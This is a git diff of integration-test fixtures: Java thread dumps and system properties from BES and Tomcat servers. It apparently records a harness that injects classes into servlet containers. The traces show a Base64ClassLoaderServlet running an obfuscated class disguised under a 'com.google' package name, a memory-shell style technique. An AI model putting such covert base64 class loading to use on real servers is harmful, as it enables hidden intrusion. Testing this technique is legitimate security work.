- at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:275)
- at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:240)
- at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:231)
- at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
- at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
- at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
- at java.lang.reflect.Method.invoke(Method.java:498)
- at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:467)
- at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598)
- at com.bes.enterprise.startup.ASMain.main(ASMain.java:29)
-
-"httpWorkerThread-8080-7" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
+"httpWorkerThread-1900-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -386,76 +501,40 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"ReadWriteBlockThread-0" #17 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
-
-"Spark_3" #95 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
- at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
-
-"Spark-Acceptor" #91 [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.PlainSocketImpl.socketAccept(Native Method)
- at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
- at java.net.ServerSocket.implAccept(ServerSocket.java:560)
- at java.net.ServerSocket.accept(ServerSocket.java:528)
- at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
- at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
- at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
-
-"Spark_4" #96 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
+"Spark_2" #88 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
-"SelectorReaderThread-8080-1" #84 daemon [RUNNABLE]
+"AcceptorThread-8080-1" #79 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
- at java.lang.Thread.run(Thread.java:750)
-
-"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
at java.lang.Thread.run(Thread.java:750)
-"FlushManager" #59 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
-
-"httpWorkerThread-8080-8" #80 daemon [RUNNABLE]
+"httpWorkerThread-8080-7" #73 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.lang.Thread.dumpThreads(Native Method)
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
- at com.google.gso.IyIWG.ErrorHandler.toString(BasicInfoPrinter.java:26)
+ at com.google.gso.kctIl.ErrorGmnwfHandler.toString(BasicInfoPrinter.java:26)
at java.lang.String.valueOf(String.java:2994)
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:229)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:48)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
- at EmptyFilter.doFilter(EmptyFilter.java:21)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:191)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:194)
@@ -477,74 +556,41 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"httpWorkerThread-8080-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
- java.lang.Thread.State: WAITING
+"LifecycleThread[com.bes.appserv]-1" #61 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23b28c2c
+ java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
- at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"Spark_6" #98 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
+"Spark_3" #89 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
-"AsyncTimeoutThread-1900" #83 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
- at java.lang.Thread.run(Thread.java:750)
-
-"Common Lib Watcher" #15 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91)
-
-"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #89 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
- at java.lang.Thread.run(Thread.java:750)
-
-"Spark_1" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
- java.lang.Thread.State: TIMED_WAITING
+"RetryTimer" #54 daemon [WAITING] on java.util.TaskQueue@3cc56fc1
+ java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
- at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
- at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
-
-"Stateful cache" #65 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a3bf06f
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
-"RMI Scheduler(0)" #103 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e258731
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+"SelectorReaderThread-1900-1" #75 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
at java.lang.Thread.run(Thread.java:750)
-"AcceptorThread-1900-1" #82 daemon [RUNNABLE]
+"AcceptorThread-1900-1" #76 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
@@ -552,21 +598,7 @@ ThreadStacks:
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
at java.lang.Thread.run(Thread.java:750)
-"jmsra-WorkerThread-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
- at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
- at java.lang.Thread.run(Thread.java:750)
-
-"httpWorkerThread-8080-1" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
+"httpWorkerThread-8080-5" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -580,46 +612,27 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"Spark_5" #97 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
- at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
-
-"RMI TCP Connection(2)-192.168.215.4" #105 daemon [RUNNABLE]
+"SelectorReaderThread-8080-1" #78 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
- at java.net.SocketInputStream.socketRead0(Native Method)
- at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
- at java.net.SocketInputStream.read(SocketInputStream.java:171)
- at java.net.SocketInputStream.read(SocketInputStream.java:141)
- at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
- at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
- at java.io.FilterInputStream.read(FilterInputStream.java:83)
- at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source)
- at java.security.AccessController.doPrivileged(Native Method)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"RMI Reaper" #101 [WAITING] on java.lang.ref.ReferenceQueue$Lock@439db8d
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:898)
at java.lang.Thread.run(Thread.java:750)
-"AsyncTimeoutThread-8080" #86 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
+"RMI TCP Accept-6600" #94 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
at java.lang.Thread.run(Thread.java:750)
-"bes-deployment-scheduled-executor-thread." #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56ae9154
+"bes-deployment-scheduled-executor-thread." #84 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@46f1b5d7
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
@@ -631,20 +644,13 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"LogFileManager.EventManager" #58 daemon [WAITING] on java.lang.Object@4383bb66
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
-
-"RMI RenewClean-[192.168.215.4:6600]" #104 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@712da028
+"AsyncTimeoutThread-1900" #77 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
at java.lang.Thread.run(Thread.java:750)
-"jmsra-WorkerThread-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
+"httpWorkerThread-8080-4" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -658,39 +664,39 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"KeepAliveTimer" #66 daemon [TIMED_WAITING] on java.util.TaskQueue@3b02e833
+"KeepAliveTimer" #60 daemon [TIMED_WAITING] on java.util.TaskQueue@239afe19
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.util.TimerThread.mainLoop(Timer.java:552)
at java.util.TimerThread.run(Timer.java:505)
-"httpWorkerThread-1900-2" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
- at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
- at java.lang.Thread.run(Thread.java:750)
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
-"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1984fa36
+"LogFileManager.EventManager" #52 daemon [WAITING] on java.lang.Object@147ed5aa
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
- at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
- at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+ at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
-"RetryTimer" #60 daemon [WAITING] on java.util.TaskQueue@47823aeb
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at java.util.TimerThread.mainLoop(Timer.java:526)
- at java.util.TimerThread.run(Timer.java:505)
+"RMI TCP Connection(2)-172.17.0.3" #99 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
===========================================
@@ -698,6 +704,8 @@ ThreadStacks:
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
com.bes.ejb.spark.tcp.threadpool.PreSelector
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
@@ -736,4 +744,4 @@ com.bes.enterprise.webtier.core.DefaultWrapperValve
com.bes.enterprise.webtier.valves.ErrorReportValve
com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager
com.bes.org.objectweb.howl.log.LogFileManager$EventManager
-com.google.gso.IyIWG.ErrorHandler
+com.google.gso.kctIl.ErrorGmnwfHandler
diff --git a/integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt
deleted file mode 100644
index 2150cedc..00000000
--- a/integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt
+++ /dev/null
@@ -1,475 +0,0 @@
-# Generated At 2025-12-08 15:18:17
-SystemProps:
-java.vendor: Temurin
-sun.java.launcher: SUN_STANDARD
-catalina.base: /usr/local/tomcat
-sun.management.compiler: HotSpot 64-Bit Tiered Compilers
-catalina.useNaming: true
-os.name: Linux
-sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes
-java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties
-org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false
-java.vm.specification.vendor: Oracle Corporation
-java.runtime.version: 1.8.0_402-b06
-user.name: root
-tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar
-shared.loader:
-tomcat.util.buf.StringCache.byte.enabled: true
-java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
-user.language: en
-sun.boot.library.path: /opt/java/openjdk/lib/aarch64
-jdk.tls.ephemeralDHKeySize: 2048
-java.version: 1.8.0_402
-java.util.logging.manager: org.apache.juli.ClassLoaderLogManager
-user.timezone: Etc/UTC
-sun.arch.data.model: 64
-java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory
-java.endorsed.dirs: /opt/java/openjdk/lib/endorsed
-sun.cpu.isalist:
-sun.jnu.encoding: UTF-8
-file.encoding.pkg: sun.io
-package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat.
-file.separator: /
-java.specification.name: Java Platform API Specification
-java.class.version: 52.0
-user.country: US
-java.home: /opt/java/openjdk
-java.vm.info: mixed mode
-os.version: 6.17.8-orbstack-00308-g8f9c941121b1
-path.separator: :
-java.vm.version: 25.402-b06
-java.protocol.handler.pkgs: org.apache.catalina.webresources
-java.awt.printerjob: sun.print.PSPrinterJob
-sun.io.unicode.encoding: UnicodeLittle
-java.specification.maintenance.version: 5
-awt.toolkit: sun.awt.X11.XToolkit
-package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat.
-java.naming.factory.url.pkgs: org.apache.naming
-user.home: /root
-org.apache.catalina.security.SecurityListener.UMASK: 0027
-java.specification.vendor: Oracle Corporation
